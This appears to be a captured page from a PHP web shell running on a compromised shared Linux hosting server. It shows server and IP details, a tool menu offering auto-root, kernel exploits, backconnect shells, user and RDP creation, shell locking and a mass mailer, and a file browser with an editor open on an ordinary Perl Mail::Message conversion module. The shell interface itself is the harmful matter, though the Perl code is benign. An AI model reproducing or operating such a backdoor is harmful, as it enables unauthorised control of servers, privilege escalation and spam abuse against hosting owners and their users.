Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Message /
Convert /
[ HOME SHELL ]
Name
Size
Permission
Action
EmailSimple.pm
1.16
KB
-rw-r--r--
EmailSimple.pod
4.92
KB
-rw-r--r--
Html.pm
4.12
KB
-rw-r--r--
Html.pod
6.5
KB
-rw-r--r--
HtmlFormatPS.pm
1.25
KB
-rw-r--r--
HtmlFormatPS.pod
4.2
KB
-rw-r--r--
HtmlFormatText.pm
1.32
KB
-rw-r--r--
HtmlFormatText.pod
4.53
KB
-rw-r--r--
MailInternet.pm
2.07
KB
-rw-r--r--
MailInternet.pod
4.79
KB
-rw-r--r--
MimeEntity.pm
1.22
KB
-rw-r--r--
MimeEntity.pod
5.2
KB
-rw-r--r--
TextAutoformat.pm
1.02
KB
-rw-r--r--
TextAutoformat.pod
4.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MailInternet.pm
# Copyrights 2001-2022 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.03. # This code is part of distribution Mail-Message. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Message::Convert::MailInternet; use vars '$VERSION'; $VERSION = '3.012'; use base 'Mail::Message::Convert'; use strict; use warnings; use Mail::Internet; use Mail::Header; use Mail::Message; use Mail::Message::Head::Complete; use Mail::Message::Body::Lines; use Carp; sub export($@) { my ($thing, $message) = (shift, shift); croak "Export message must be a Mail::Message, but is a ".ref($message)."." unless $message->isa('Mail::Message'); my $mi_head = Mail::Header->new; my $head = $message->head; foreach my $field ($head->orderedFields) { $mi_head->add($field->Name, scalar $field->foldedBody); } Mail::Internet->new ( Header => $mi_head , Body => [ $message->body->lines ] , @_ ); } #------------------------------------------ my @pref_order = qw/From To Cc Subject Date In-Reply-To References Content-Type/; sub from($@) { my ($thing, $mi) = (shift, shift); croak "Converting from Mail::Internet but got a ".ref($mi).'.' unless $mi->isa('Mail::Internet'); my $head = Mail::Message::Head::Complete->new; my $body = Mail::Message::Body::Lines->new(data => [ @{$mi->body} ]); my $mi_head = $mi->head; # The tags of Mail::Header are unordered, but we prefer some ordering. my %tags = map {lc $_ => ucfirst $_} $mi_head->tags; my @tags; foreach (@pref_order) { push @tags, $_ if delete $tags{lc $_}; } push @tags, sort values %tags; foreach my $name (@tags) { $head->add($name, $_) foreach $mi_head->get($name); } Mail::Message->new(head => $head, body => $body, @_); } #------------------------------------------ 1;
Close